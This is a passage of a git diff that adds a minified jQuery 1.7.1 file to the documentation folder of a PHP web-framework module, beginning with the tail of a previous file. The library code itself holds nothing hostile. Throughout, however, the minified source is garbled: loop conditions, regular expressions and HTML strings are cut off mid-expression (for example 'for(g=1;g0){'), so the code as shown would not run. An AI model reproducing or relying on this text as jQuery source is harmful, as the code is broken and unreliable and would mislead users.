+}); + +})(); diff --git a/modules/utilities/unix/web_frameworks/php/docs/js/jquery.js b/modules/utilities/unix/web_frameworks/php/docs/js/jquery.js new file mode 100644 index 000000000..198b3ff07 --- /dev/null +++ b/modules/utilities/unix/web_frameworks/php/docs/js/jquery.js @@ -0,0 +1,4 @@ +/*! jQuery v1.7.1 jquery.com | jquery.org/license */ +(function(a,b){function cy(a){return f.isWindow(a)?a:a.nodeType===9?a.defaultView||a.parentWindow:!1}function cv(a){if(!ck[a]){var b=c.body,d=f("<"+a+">").appendTo(b),e=d.css("display");d.remove();if(e==="none"||e===""){cl||(cl=c.createElement("iframe"),cl.frameBorder=cl.width=cl.height=0),b.appendChild(cl);if(!cm||!cl.createElement)cm=(cl.contentWindow||cl.contentDocument).document,cm.write((c.compatMode==="CSS1Compat"?"":"")+""),cm.close();d=cm.createElement(a),cm.body.appendChild(d),e=f.css(d,"display"),b.removeChild(cl)}ck[a]=e}return ck[a]}function cu(a,b){var c={};f.each(cq.concat.apply([],cq.slice(0,b)),function(){c[this]=a});return c}function ct(){cr=b}function cs(){setTimeout(ct,0);return cr=f.now()}function cj(){try{return new a.ActiveXObject("Microsoft.XMLHTTP")}catch(b){}}function ci(){try{return new a.XMLHttpRequest}catch(b){}}function cc(a,c){a.dataFilter&&(c=a.dataFilter(c,a.dataType));var d=a.dataTypes,e={},g,h,i=d.length,j,k=d[0],l,m,n,o,p;for(g=1;g0){if(c!=="border")for(;g=0===c})}function S(a){return!a||!a.parentNode||a.parentNode.nodeType===11}function K(){return!0}function J(){return!1}function n(a,b,c){var d=b+"defer",e=b+"queue",g=b+"mark",h=f._data(a,d);h&&(c==="queue"||!f._data(a,e))&&(c==="mark"||!f._data(a,g))&&setTimeout(function(){!f._data(a,e)&&!f._data(a,g)&&(f.removeData(a,d,!0),h.fire())},0)}function m(a){for(var b in a){if(b==="data"&&f.isEmptyObject(a[b]))continue;if(b!=="toJSON")return!1}return!0}function l(a,c,d){if(d===b&&a.nodeType===1){var e="data-"+c.replace(k,"-$1").toLowerCase();d=a.getAttribute(e);if(typeof d=="string"){try{d=d==="true"?!0:d==="false"?!1:d==="null"?null:f.isNumeric(d)?parseFloat(d):j.test(d)?f.parseJSON(d):d}catch(g){}f.data(a,c,d)}else d=b}return d}function h(a){var b=g[a]={},c,d;a=a.split(/\s+/);for(c=0,d=a.length;c)[^>]*$|#([\w\-]*)$)/,j=/\S/,k=/^\s+/,l=/\s+$/,m=/^<(\w+)\s*\/?>(?:<\/\1>)?$/,n=/^[\],:{}\s]*$/,o=/\\(?:["\\\/bfnrt]|u[0-9a-fA-F]{4})/g,p=/"[^"\\\n\r]*"|true|false|null|-?\d+(?:\.\d*)?(?:[eE][+\-]?\d+)?/g,q=/(?:^|:|,)(?:\s*\[)+/g,r=/(webkit)[ \/]([\w.]+)/,s=/(opera)(?:.*version)?[ \/]([\w.]+)/,t=/(msie) ([\w.]+)/,u=/(mozilla)(?:.*? rv:([\w.]+))?/,v=/-([a-z]|[0-9])/ig,w=/^-ms-/,x=function(a,b){return(b+"").toUpperCase()},y=d.userAgent,z,A,B,C=Object.prototype.toString,D=Object.prototype.hasOwnProperty,E=Array.prototype.push,F=Array.prototype.slice,G=String.prototype.trim,H=Array.prototype.indexOf,I={};e.fn=e.prototype={constructor:e,init:function(a,d,f){var g,h,j,k;if(!a)return this;if(a.nodeType){this.context=this[0]=a,this.length=1;return this}if(a==="body"&&!d&&c.body){this.context=c,this[0]=c.body,this.selector=a,this.length=1;return this}if(typeof a=="string"){a.charAt(0)!=="<"||a.charAt(a.length-1)!==">"||a.length<3?g=i.exec(a):g=[null,a,null];if(g&&(g[1]||!d)){if(g[1]){d=d instanceof e?d[0]:d,k=d?d.ownerDocument||d:c,j=m.exec(a),j?e.isPlainObject(d)?(a=[c.createElement(j[1])],e.fn.attr.call(a,d,!0)):a=[k.createElement(j[1])]:(j=e.buildFragment([g[1]],[k]),a=(j.cacheable?e.clone(j.fragment):j.fragment).childNodes);return e.merge(this,a)}h=c.getElementById(g[2]);if(h&&h.parentNode){if(h.id!==g[2])return f.find(a);this.length=1,this[0]=h}this.context=c,this.selector=a;return this}return!d||d.jquery?(d||f).find(a):this.constructor(d).find(a)}if(e.isFunction(a))return f.ready(a);a.selector!==b&&(this.selector=a.selector,this.context=a.context);return e.makeArray(a,this)},selector:"",jquery:"1.7.1",length:0,size:function(){return this.length},toArray:function(){return F.call(this,0)},get:function(a){return a==null?this.toArray():a<0?this[this.length+a]:this[a]},pushStack:function(a,b,c){var d=this.constructor();e.isArray(a)?E.apply(d,a):e.merge(d,a),d.prevObject=this,d.context=this.context,b==="find"?d.selector=this.selector+(this.selector?" ":"")+c:b&&(d.selector=this.selector+"."+b+"("+c+")");return d},each:function(a,b){return e.each(this,a,b)},ready:function(a){e.bindReady(),A.add(a);return this},eq:function(a){a=+a;return a===-1?this.slice(a):this.slice(a,a+1)},first:function(){return this.eq(0)},last:function(){return this.eq(-1)},slice:function(){return this.pushStack(F.apply(this,arguments),"slice",F.call(arguments).join(","))},map:function(a){return this.pushStack(e.map(this,function(b,c){return a.call(b,c,b)}))},end:function(){return this.prevObject||this.constructor(null)},push:E,sort:[].sort,splice:[].splice},e.fn.init.prototype=e.fn,e.extend=e.fn.extend=function(){var a,c,d,f,g,h,i=arguments[0]||{},j=1,k=arguments.length,l=!1;typeof i=="boolean"&&(l=i,i=arguments[1]||{},j=2),typeof i!="object"&&!e.isFunction(i)&&(i={}),k===j&&(i=this,--j);for(;j0)return;A.fireWith(c,[e]),e.fn.trigger&&e(c).trigger("ready").off("ready")}},bindReady:function(){if(!A){A=e.Callbacks("once memory");if(c.readyState==="complete")return setTimeout(e.ready,1);if(c.addEventListener)c.addEventListener("DOMContentLoaded",B,!1),a.addEventListener("load",e.ready,!1);else if(c.attachEvent){c.attachEvent("onreadystatechange",B),a.attachEvent("onload",e.ready);var b=!1;try{b=a.frameElement==null}catch(d){}c.documentElement.doScroll&&b&&J()}}},isFunction:function(a){return e.type(a)==="function"},isArray:Array.isArray||function(a){return e.type(a)==="array"},isWindow:function(a){return a&&typeof a=="object"&&"setInterval"in a},isNumeric:function(a){return!isNaN(parseFloat(a))&&isFinite(a)},type:function(a){return a==null?String(a):I[C.call(a)]||"object"},isPlainObject:function(a){if(!a||e.type(a)!=="object"||a.nodeType||e.isWindow(a))return!1;try{if(a.constructor&&!D.call(a,"constructor")&&!D.call(a.constructor.prototype,"isPrototypeOf"))return!1}catch(c){return!1}var d;for(d in a);return d===b||D.call(a,d)},isEmptyObject:function(a){for(var b in a)return!1;return!0},error:function(a){throw new Error(a)},parseJSON:function(b){if(typeof b!="string"||!b)return null;b=e.trim(b);if(a.JSON&&a.JSON.parse)return a.JSON.parse(b);if(n.test(b.replace(o,"@").replace(p,"]").replace(q,"")))return(new Function("return "+b))();e.error("Invalid JSON: "+b)},parseXML:function(c){var d,f;try{a.DOMParser?(f=new DOMParser,d=f.parseFromString(c,"text/xml")):(d=new ActiveXObject("Microsoft.XMLDOM"),d.async="false",d.loadXML(c))}catch(g){d=b}(!d||!d.documentElement||d.getElementsByTagName("parsererror").length)&&e.error("Invalid XML: "+c);return d},noop:function(){},globalEval:function(b){b&&j.test(b)&&(a.execScript||function(b){a.eval.call(a,b)})(b)},camelCase:function(a){return a.replace(w,"ms-").replace(v,x)},nodeName:function(a,b){return a.nodeName&&a.nodeName.toUpperCase()===b.toUpperCase()},each:function(a,c,d){var f,g=0,h=a.length,i=h===b||e.isFunction(a);if(d){if(i){for(f in a)if(c.apply(a[f],d)===!1)break}else for(;g0&&a[0]&&a[j-1]||j===0||e.isArray(a));if(k)for(;i1?i.call(arguments,0):b,j.notifyWith(k,e)}}function l(a){return function(c){b[a]=arguments.length>1?i.call(arguments,0):c,--g||j.resolveWith(j,b)}}var b=i.call(arguments,0),c=0,d=b.length,e=Array(d),g=d,h=d,j=d<=1&&a&&f.isFunction(a.promise)?a:f.Deferred(),k=j.promise();if(d>1){for(;c
    a",d=q.getElementsByTagName("*"),e=q.getElementsByTagName("a")[0];if(!d||!d.length||!e)return{};g=c.createElement("select"),h=g.appendChild(c.createElement("option")),i=q.getElementsByTagName("input")[0],b={leadingWhitespace:q.firstChild.nodeType===3,tbody:!q.getElementsByTagName("tbody").length,htmlSerialize:!!q.getElementsByTagName("link").length,style:/top/.test(e.getAttribute("style")),hrefNormalized:e.getAttribute("href")==="/a",opacity:/^0.55/.test(e.style.opacity),cssFloat:!!e.style.cssFloat,checkOn:i.value==="on",optSelected:h.selected,getSetAttribute:q.className!=="t",enctype:!!c.createElement("form").enctype,html5Clone:c.createElement("nav").cloneNode(!0).outerHTML!=="<:nav>",submitBubbles:!0,changeBubbles:!0,focusinBubbles:!1,deleteExpando:!0,noCloneEvent:!0,inlineBlockNeedsLayout:!1,shrinkWrapBlocks:!1,reliableMarginRight:!0},i.checked=!0,b.noCloneChecked=i.cloneNode(!0).checked,g.disabled=!0,b.optDisabled=!h.disabled;try{delete q.test}catch(s){b.deleteExpando=!1}!q.addEventListener&&q.attachEvent&&q.fireEvent&&(q.attachEvent("onclick",function(){b.noCloneEvent=!1}),q.cloneNode(!0).fireEvent("onclick")),i=c.createElement("input"),i.value="t",i.setAttribute("type","radio"),b.radioValue=i.value==="t",i.setAttribute("checked","checked"),q.appendChild(i),k=c.createDocumentFragment(),k.appendChild(q.lastChild),b.checkClone=k.cloneNode(!0).cloneNode(!0).lastChild.checked,b.appendChecked=i.checked,k.removeChild(i),k.appendChild(q),q.innerHTML="",a.getComputedStyle&&(j=c.createElement("div"),j.style.width="0",j.style.marginRight="0",q.style.width="2px",q.appendChild(j),b.reliableMarginRight=(parseInt((a.getComputedStyle(j,null)||{marginRight:0}).marginRight,10)||0)===0);if(q.attachEvent)for(o in{submit:1,change:1,focusin:1})n="on"+o,p=n in q,p||(q.setAttribute(n,"return;"),p=typeof q[n]=="function"),b[o+"Bubbles"]=p;k.removeChild(q),k=g=h=j=q=i=null,f(function(){var a,d,e,g,h,i,j,k,m,n,o,r=c.getElementsByTagName("body")[0];!r||(j=1,k="position:absolute;top:0;left:0;width:1px;height:1px;margin:0;",m="visibility:hidden;border:0;",n="style='"+k+"border:5px solid #000;padding:0;'",o="
    "+""+"
    ",a=c.createElement("div"),a.style.cssText=m+"width:0;height:0;position:static;top:0;margin-top:"+j+"px",r.insertBefore(a,r.firstChild),q=c.createElement("div"),a.appendChild(q),q.innerHTML="
    t
    ",l=q.getElementsByTagName("td"),p=l[0].offsetHeight===0,l[0].style.display="",l[1].style.display="none",b.reliableHiddenOffsets=p&&l[0].offsetHeight===0,q.innerHTML="",q.style.width=q.style.paddingLeft="1px",f.boxModel=b.boxModel=q.offsetWidth===2,typeof q.style.zoom!="undefined"&&(q.style.display="inline",q.style.zoom=1,b.inlineBlockNeedsLayout=q.offsetWidth===2,q.style.display="",q.innerHTML="
    ",b.shrinkWrapBlocks=q.offsetWidth!==2),q.style.cssText=k+m,q.innerHTML=o,d=q.firstChild,e=d.firstChild,h=d.nextSibling.firstChild.firstChild,i={doesNotAddBorder:e.offsetTop!==5,doesAddBorderForTableAndCells:h.offsetTop===5},e.style.position="fixed",e.style.top="20px",i.fixedPosition=e.offsetTop===20||e.offsetTop===15,e.style.position=e.style.top="",d.style.overflow="hidden",d.style.position="relative",i.subtractsBorderForOverflowNotVisible=e.offsetTop===-5,i.doesNotIncludeMarginInBodyOffset=r.offsetTop!==j,r.removeChild(a),q=a=null,f.extend(b,i))});return b}();var j=/^(?:\{.*\}|\[.*\])$/,k=/([A-Z])/g;f.extend({cache:{},uuid:0,expando:"jQuery"+(f.fn.jquery+Math.random()).replace(/\D/g,""),noData:{embed:!0,object:"clsid:D27CDB6E-AE6D-11cf-96B8-444553540000",applet:!0},hasData:function(a){a=a.nodeType?f.cache[a[f.expando]]:a[f.expando];return!!a&&!m(a)},data:function(a,c,d,e){if(!!f.acceptData(a)){var g,h,i,j=f.expando,k=typeof c=="string",l=a.nodeType,m=l?f.cache:a,n=l?a[j]:a[j]&&j,o=c==="events";if((!n||!m[n]||!o&&!e&&!m[n].data)&&k&&d===b)return;n||(l?a[j]=n=++f.uuid:n=j),m[n]||(m[n]={},l||(m[n].toJSON=f.noop));if(typeof c=="object"||typeof c=="function")e?m[n]=f.extend(m[n],c):m[n].data=f.extend(m[n].data,c);g=h=m[n],e||(h.data||(h.data={}),h=h.data),d!==b&&(h[f.camelCase(c)]=d);if(o&&!h[c])return g.events;k?(i=h[c],i==null&&(i=h[f.camelCase(c)])):i=h;return i}},removeData:function(a,b,c){if(!!f.acceptData(a)){var d,e,g,h=f.expando,i=a.nodeType,j=i?f.cache:a,k=i?a[h]:h;if(!j[k])return;if(b){d=c?j[k]:j[k].data;if(d){f.isArray(b)||(b in d?b=[b]:(b=f.camelCase(b),b in d?b=[b]:b=b.split(" ")));for(e=0,g=b.length;e-1)return!0;return!1},val:function(a){var c,d,e,g=this[0];{if(!!arguments.length){e=f.isFunction(a);return this.each(function(d){var g=f(this),h;if(this.nodeType===1){e?h=a.call(this,d,g.val()):h=a,h==null?h="":typeof h=="number"?h+="":f.isArray(h)&&(h=f.map(h,function(a){return a==null?"":a+""})),c=f.valHooks[this.nodeName.toLowerCase()]||f.valHooks[this.type];if(!c||!("set"in c)||c.set(this,h,"value")===b)this.value=h}})}if(g){c=f.valHooks[g.nodeName.toLowerCase()]||f.valHooks[g.type];if(c&&"get"in c&&(d=c.get(g,"value"))!==b)return d;d=g.value;return typeof d=="string"?d.replace(q,""):d==null?"":d}}}}),f.extend({valHooks:{option:{get:function(a){var b=a.attributes.value;return!b||b.specified?a.value:a.text}},select:{get:function(a){var b,c,d,e,g=a.selectedIndex,h=[],i=a.options,j=a.type==="select-one";if(g<0)return null;c=j?g:0,d=j?g+1:i.length;for(;c=0}),c.length||(a.selectedIndex=-1);return c}}},attrFn:{val:!0,css:!0,html:!0,text:!0,data:!0,width:!0,height:!0,offset:!0},attr:function(a,c,d,e){var g,h,i,j=a.nodeType;if(!!a&&j!==3&&j!==8&&j!==2){if(e&&c in f.attrFn)return f(a)[c](d);if(typeof a.getAttribute=="undefined")return f.prop(a,c,d);i=j!==1||!f.isXMLDoc(a),i&&(c=c.toLowerCase(),h=f.attrHooks[c]||(u.test(c)?x:w));if(d!==b){if(d===null){f.removeAttr(a,c);return}if(h&&"set"in h&&i&&(g=h.set(a,d,c))!==b)return g;a.setAttribute(c,""+d);return d}if(h&&"get"in h&&i&&(g=h.get(a,c))!==null)return g;g=a.getAttribute(c);return g===null?b:g}},removeAttr:function(a,b){var c,d,e,g,h=0;if(b&&a.nodeType===1){d=b.toLowerCase().split(p),g=d.length;for(;h=0}})});var z=/^(?:textarea|input|select)$/i,A=/^([^\.]*)?(?:\.(.+))?$/,B=/\bhover(\.\S+)?\b/,C=/^key/,D=/^(?:mouse|contextmenu)|click/,E=/^(?:focusinfocus|focusoutblur)$/,F=/^(\w*)(?:#([\w\-]+))?(?:\.([\w\-]+))?$/,G=function(a){var b=F.exec(a);b&&(b[1]=(b[1]||"").toLowerCase(),b[3]=b[3]&&new RegExp("(?:^|\\s)"+b[3]+"(?:\\s|$)"));return b},H=function(a,b){var c=a.attributes||{};return(!b[1]||a.nodeName.toLowerCase()===b[1])&&(!b[2]||(c.id||{}).value===b[2])&&(!b[3]||b[3].test((c["class"]||{}).value))},I=function(a){return f.event.special.hover?a:a.replace(B,"mouseenter$1 mouseleave$1")}; +f.event={add:function(a,c,d,e,g){var h,i,j,k,l,m,n,o,p,q,r,s;if(!(a.nodeType===3||a.nodeType===8||!c||!d||!(h=f._data(a)))){d.handler&&(p=d,d=p.handler),d.guid||(d.guid=f.guid++),j=h.events,j||(h.events=j={}),i=h.handle,i||(h.handle=i=function(a){return typeof f!="undefined"&&(!a||f.event.triggered!==a.type)?f.event.dispatch.apply(i.elem,arguments):b},i.elem=a),c=f.trim(I(c)).split(" ");for(k=0;k=0&&(h=h.slice(0,-1),k=!0),h.indexOf(".")>=0&&(i=h.split("."),h=i.shift(),i.sort());if((!e||f.event.customEvent[h])&&!f.event.global[h])return;c=typeof c=="object"?c[f.expando]?c:new f.Event(h,c):new f.Event(h),c.type=h,c.isTrigger=!0,c.exclusive=k,c.namespace=i.join("."),c.namespace_re=c.namespace?new RegExp("(^|\\.)"+i.join("\\.(?:.*\\.)?")+"(\\.|$)"):null,o=h.indexOf(":")<0?"on"+h:"";if(!e){j=f.cache;for(l in j)j[l].events&&j[l].events[h]&&f.event.trigger(c,d,j[l].handle.elem,!0);return}c.result=b,c.target||(c.target=e),d=d!=null?f.makeArray(d):[],d.unshift(c),p=f.event.special[h]||{};if(p.trigger&&p.trigger.apply(e,d)===!1)return;r=[[e,p.bindType||h]];if(!g&&!p.noBubble&&!f.isWindow(e)){s=p.delegateType||h,m=E.test(s+h)?e:e.parentNode,n=null;for(;m;m=m.parentNode)r.push([m,s]),n=m;n&&n===e.ownerDocument&&r.push([n.defaultView||n.parentWindow||a,s])}for(l=0;le&&i.push({elem:this,matches:d.slice(e)});for(j=0;j0?this.on(b,null,a,c):this.trigger(b)},f.attrFn&&(f.attrFn[b]=!0),C.test(b)&&(f.event.fixHooks[b]=f.event.keyHooks),D.test(b)&&(f.event.fixHooks[b]=f.event.mouseHooks)}),function(){function x(a,b,c,e,f,g){for(var h=0,i=e.length;h0){k=j;break}}j=j[a]}e[h]=k}}}function w(a,b,c,e,f,g){for(var h=0,i=e.length;h+~,(\[\\]+)+|[>+~])(\s*,\s*)?((?:.|\r|\n)*)/g,d="sizcache"+(Math.random()+"").replace(".",""),e=0,g=Object.prototype.toString,h=!1,i=!0,j=/\\/g,k=/\r\n/g,l=/\W/;[0,0].sort(function(){i=!1;return 0});var m=function(b,d,e,f){e=e||[],d=d||c;var h=d;if(d.nodeType!==1&&d.nodeType!==9)return[];if(!b||typeof b!="string")return e;var i,j,k,l,n,q,r,t,u=!0,v=m.isXML(d),w=[],x=b;do{a.exec(""),i=a.exec(x);if(i){x=i[3],w.push(i[1]);if(i[2]){l=i[3];break}}}while(i);if(w.length>1&&p.exec(b))if(w.length===2&&o.relative[w[0]])j=y(w[0]+w[1],d,f);else{j=o.relative[w[0]]?[d]:m(w.shift(),d);while(w.length)b=w.shift(),o.relative[b]&&(b+=w.shift()),j=y(b,j,f)}else{!f&&w.length>1&&d.nodeType===9&&!v&&o.match.ID.test(w[0])&&!o.match.ID.test(w[w.length-1])&&(n=m.find(w.shift(),d,v),d=n.expr?m.filter(n.expr,n.set)[0]:n.set[0]);if(d){n=f?{expr:w.pop(),set:s(f)}:m.find(w.pop(),w.length===1&&(w[0]==="~"||w[0]==="+")&&d.parentNode?d.parentNode:d,v),j=n.expr?m.filter(n.expr,n.set):n.set,w.length>0?k=s(j):u=!1;while(w.length)q=w.pop(),r=q,o.relative[q]?r=w.pop():q="",r==null&&(r=d),o.relative[q](k,r,v)}else k=w=[]}k||(k=j),k||m.error(q||b);if(g.call(k)==="[object Array]")if(!u)e.push.apply(e,k);else if(d&&d.nodeType===1)for(t=0;k[t]!=null;t++)k[t]&&(k[t]===!0||k[t].nodeType===1&&m.contains(d,k[t]))&&e.push(j[t]);else for(t=0;k[t]!=null;t++)k[t]&&k[t].nodeType===1&&e.push(j[t]);else s(k,e);l&&(m(l,h,e,f),m.uniqueSort(e));return e};m.uniqueSort=function(a){if(u){h=i,a.sort(u);if(h)for(var b=1;b0},m.find=function(a,b,c){var d,e,f,g,h,i;if(!a)return[];for(e=0,f=o.order.length;e":function(a,b){var c,d=typeof b=="string",e=0,f=a.length;if(d&&!l.test(b)){b=b.toLowerCase();for(;e=0)?c||d.push(h):c&&(b[g]=!1));return!1},ID:function(a){return a[1].replace(j,"")},TAG:function(a,b){return a[1].replace(j,"").toLowerCase()},CHILD:function(a){if(a[1]==="nth"){a[2]||m.error(a[0]),a[2]=a[2].replace(/^\+|\s*/g,"");var b=/(-?)(\d*)(?:n([+\-]?\d*))?/.exec(a[2]==="even"&&"2n"||a[2]==="odd"&&"2n+1"||!/\D/.test(a[2])&&"0n+"+a[2]||a[2]);a[2]=b[1]+(b[2]||1)-0,a[3]=b[3]-0}else a[2]&&m.error(a[0]);a[0]=e++;return a},ATTR:function(a,b,c,d,e,f){var g=a[1]=a[1].replace(j,"");!f&&o.attrMap[g]&&(a[1]=o.attrMap[g]),a[4]=(a[4]||a[5]||"").replace(j,""),a[2]==="~="&&(a[4]=" "+a[4]+" ");return a},PSEUDO:function(b,c,d,e,f){if(b[1]==="not")if((a.exec(b[3])||"").length>1||/^\w/.test(b[3]))b[3]=m(b[3],null,null,c);else{var g=m.filter(b[3],c,d,!0^f);d||e.push.apply(e,g);return!1}else if(o.match.POS.test(b[0])||o.match.CHILD.test(b[0]))return!0;return b},POS:function(a){a.unshift(!0);return a}},filters:{enabled:function(a){return a.disabled===!1&&a.type!=="hidden"},disabled:function(a){return a.disabled===!0},checked:function(a){return a.checked===!0},selected:function(a){a.parentNode&&a.parentNode.selectedIndex;return a.selected===!0},parent:function(a){return!!a.firstChild},empty:function(a){return!a.firstChild},has:function(a,b,c){return!!m(c[3],a).length},header:function(a){return/h\d/i.test(a.nodeName)},text:function(a){var b=a.getAttribute("type"),c=a.type;return a.nodeName.toLowerCase()==="input"&&"text"===c&&(b===c||b===null)},radio:function(a){return a.nodeName.toLowerCase()==="input"&&"radio"===a.type},checkbox:function(a){return a.nodeName.toLowerCase()==="input"&&"checkbox"===a.type},file:function(a){return a.nodeName.toLowerCase()==="input"&&"file"===a.type},password:function(a){return a.nodeName.toLowerCase()==="input"&&"password"===a.type},submit:function(a){var b=a.nodeName.toLowerCase();return(b==="input"||b==="button")&&"submit"===a.type},image:function(a){return a.nodeName.toLowerCase()==="input"&&"image"===a.type},reset:function(a){var b=a.nodeName.toLowerCase();return(b==="input"||b==="button")&&"reset"===a.type},button:function(a){var b=a.nodeName.toLowerCase();return b==="input"&&"button"===a.type||b==="button"},input:function(a){return/input|select|textarea|button/i.test(a.nodeName)},focus:function(a){return a===a.ownerDocument.activeElement}},setFilters:{first:function(a,b){return b===0},last:function(a,b,c,d){return b===d.length-1},even:function(a,b){return b%2===0},odd:function(a,b){return b%2===1},lt:function(a,b,c){return bc[3]-0},nth:function(a,b,c){return c[3]-0===b},eq:function(a,b,c){return c[3]-0===b}},filter:{PSEUDO:function(a,b,c,d){var e=b[1],f=o.filters[e];if(f)return f(a,c,b,d);if(e==="contains")return(a.textContent||a.innerText||n([a])||"").indexOf(b[3])>=0;if(e==="not"){var g=b[3];for(var h=0,i=g.length;h=0}},ID:function(a,b){return a.nodeType===1&&a.getAttribute("id")===b},TAG:function(a,b){return b==="*"&&a.nodeType===1||!!a.nodeName&&a.nodeName.toLowerCase()===b},CLASS:function(a,b){return(" "+(a.className||a.getAttribute("class"))+" ").indexOf(b)>-1},ATTR:function(a,b){var c=b[1],d=m.attr?m.attr(a,c):o.attrHandle[c]?o.attrHandle[c](a):a[c]!=null?a[c]:a.getAttribute(c),e=d+"",f=b[2],g=b[4];return d==null?f==="!=":!f&&m.attr?d!=null:f==="="?e===g:f==="*="?e.indexOf(g)>=0:f==="~="?(" "+e+" ").indexOf(g)>=0:g?f==="!="?e!==g:f==="^="?e.indexOf(g)===0:f==="$="?e.substr(e.length-g.length)===g:f==="|="?e===g||e.substr(0,g.length+1)===g+"-":!1:e&&d!==!1},POS:function(a,b,c,d){var e=b[2],f=o.setFilters[e];if(f)return f(a,c,b,d)}}},p=o.match.POS,q=function(a,b){return"\\"+(b-0+1)};for(var r in o.match)o.match[r]=new RegExp(o.match[r].source+/(?![^\[]*\])(?![^\(]*\))/.source),o.leftMatch[r]=new RegExp(/(^(?:.|\r|\n)*?)/.source+o.match[r].source.replace(/\\(\d+)/g,q));var s=function(a,b){a=Array.prototype.slice.call(a,0);if(b){b.push.apply(b,a);return b}return a};try{Array.prototype.slice.call(c.documentElement.childNodes,0)[0].nodeType}catch(t){s=function(a,b){var c=0,d=b||[];if(g.call(a)==="[object Array]")Array.prototype.push.apply(d,a);else if(typeof a.length=="number")for(var e=a.length;c",e.insertBefore(a,e.firstChild),c.getElementById(d)&&(o.find.ID=function(a,c,d){if(typeof c.getElementById!="undefined"&&!d){var e=c.getElementById(a[1]);return e?e.id===a[1]||typeof e.getAttributeNode!="undefined"&&e.getAttributeNode("id").nodeValue===a[1]?[e]:b:[]}},o.filter.ID=function(a,b){var c=typeof a.getAttributeNode!="undefined"&&a.getAttributeNode("id");return a.nodeType===1&&c&&c.nodeValue===b}),e.removeChild(a),e=a=null}(),function(){var a=c.createElement("div");a.appendChild(c.createComment("")),a.getElementsByTagName("*").length>0&&(o.find.TAG=function(a,b){var c=b.getElementsByTagName(a[1]);if(a[1]==="*"){var d=[];for(var e=0;c[e];e++)c[e].nodeType===1&&d.push(c[e]);c=d}return c}),a.innerHTML="",a.firstChild&&typeof a.firstChild.getAttribute!="undefined"&&a.firstChild.getAttribute("href")!=="#"&&(o.attrHandle.href=function(a){return a.getAttribute("href",2)}),a=null}(),c.querySelectorAll&&function(){var a=m,b=c.createElement("div"),d="__sizzle__";b.innerHTML="

    ";if(!b.querySelectorAll||b.querySelectorAll(".TEST").length!==0){m=function(b,e,f,g){e=e||c;if(!g&&!m.isXML(e)){var h=/^(\w+$)|^\.([\w\-]+$)|^#([\w\-]+$)/.exec(b);if(h&&(e.nodeType===1||e.nodeType===9)){if(h[1])return s(e.getElementsByTagName(b),f);if(h[2]&&o.find.CLASS&&e.getElementsByClassName)return s(e.getElementsByClassName(h[2]),f)}if(e.nodeType===9){if(b==="body"&&e.body)return s([e.body],f);if(h&&h[3]){var i=e.getElementById(h[3]);if(!i||!i.parentNode)return s([],f);if(i.id===h[3])return s([i],f)}try{return s(e.querySelectorAll(b),f)}catch(j){}}else if(e.nodeType===1&&e.nodeName.toLowerCase()!=="object"){var k=e,l=e.getAttribute("id"),n=l||d,p=e.parentNode,q=/^\s*[+~]/.test(b);l?n=n.replace(/'/g,"\\$&"):e.setAttribute("id",n),q&&p&&(e=e.parentNode);try{if(!q||p)return s(e.querySelectorAll("[id='"+n+"'] "+b),f)}catch(r){}finally{l||k.removeAttribute("id")}}}return a(b,e,f,g)};for(var e in a)m[e]=a[e];b=null}}(),function(){var a=c.documentElement,b=a.matchesSelector||a.mozMatchesSelector||a.webkitMatchesSelector||a.msMatchesSelector;if(b){var d=!b.call(c.createElement("div"),"div"),e=!1;try{b.call(c.documentElement,"[test!='']:sizzle")}catch(f){e=!0}m.matchesSelector=function(a,c){c=c.replace(/\=\s*([^'"\]]*)\s*\]/g,"='$1']");if(!m.isXML(a))try{if(e||!o.match.PSEUDO.test(c)&&!/!=/.test(c)){var f=b.call(a,c);if(f||!d||a.document&&a.document.nodeType!==11)return f}}catch(g){}return m(c,null,null,[a]).length>0}}}(),function(){var a=c.createElement("div");a.innerHTML="
    ";if(!!a.getElementsByClassName&&a.getElementsByClassName("e").length!==0){a.lastChild.className="e";if(a.getElementsByClassName("e").length===1)return;o.order.splice(1,0,"CLASS"),o.find.CLASS=function(a,b,c){if(typeof b.getElementsByClassName!="undefined"&&!c)return b.getElementsByClassName(a[1])},a=null}}(),c.documentElement.contains?m.contains=function(a,b){return a!==b&&(a.contains?a.contains(b):!0)}:c.documentElement.compareDocumentPosition?m.contains=function(a,b){return!!(a.compareDocumentPosition(b)&16)}:m.contains=function(){return!1},m.isXML=function(a){var b=(a?a.ownerDocument||a:0).documentElement;return b?b.nodeName!=="HTML":!1};var y=function(a,b,c){var d,e=[],f="",g=b.nodeType?[b]:b;while(d=o.match.PSEUDO.exec(a))f+=d[0],a=a.replace(o.match.PSEUDO,"");a=o.relative[a]?a+"*":a;for(var h=0,i=g.length;h0)for(h=g;h=0:f.filter(a,this).length>0:this.filter(a).length>0)},closest:function(a,b){var c=[],d,e,g=this[0];if(f.isArray(a)){var h=1;while(g&&g.ownerDocument&&g!==b){for(d=0;d-1:f.find.matchesSelector(g,a)){c.push(g);break}g=g.parentNode;if(!g||!g.ownerDocument||g===b||g.nodeType===11)break}}c=c.length>1?f.unique(c):c;return this.pushStack(c,"closest",a)},index:function(a){if(!a)return this[0]&&this[0].parentNode?this.prevAll().length:-1;if(typeof a=="string")return f.inArray(this[0],f(a));return f.inArray(a.jquery?a[0]:a,this)},add:function(a,b){var c=typeof a=="string"?f(a,b):f.makeArray(a&&a.nodeType?[a]:a),d=f.merge(this.get(),c);return this.pushStack(S(c[0])||S(d[0])?d:f.unique(d))},andSelf:function(){return this.add(this.prevObject)}}),f.each({parent:function(a){var b=a.parentNode;return b&&b.nodeType!==11?b:null},parents:function(a){return f.dir(a,"parentNode")},parentsUntil:function(a,b,c){return f.dir(a,"parentNode",c)},next:function(a){return f.nth(a,2,"nextSibling")},prev:function(a){return f.nth(a,2,"previousSibling")},nextAll:function(a){return f.dir(a,"nextSibling")},prevAll:function(a){return f.dir(a,"previousSibling")},nextUntil:function(a,b,c){return f.dir(a,"nextSibling",c)},prevUntil:function(a,b,c){return f.dir(a,"previousSibling",c)},siblings:function(a){return f.sibling(a.parentNode.firstChild,a)},children:function(a){return f.sibling(a.firstChild)},contents:function(a){return f.nodeName(a,"iframe")?a.contentDocument||a.contentWindow.document:f.makeArray(a.childNodes)}},function(a,b){f.fn[a]=function(c,d){var e=f.map(this,b,c);L.test(a)||(d=c),d&&typeof d=="string"&&(e=f.filter(d,e)),e=this.length>1&&!R[a]?f.unique(e):e,(this.length>1||N.test(d))&&M.test(a)&&(e=e.reverse());return this.pushStack(e,a,P.call(arguments).join(","))}}),f.extend({filter:function(a,b,c){c&&(a=":not("+a+")");return 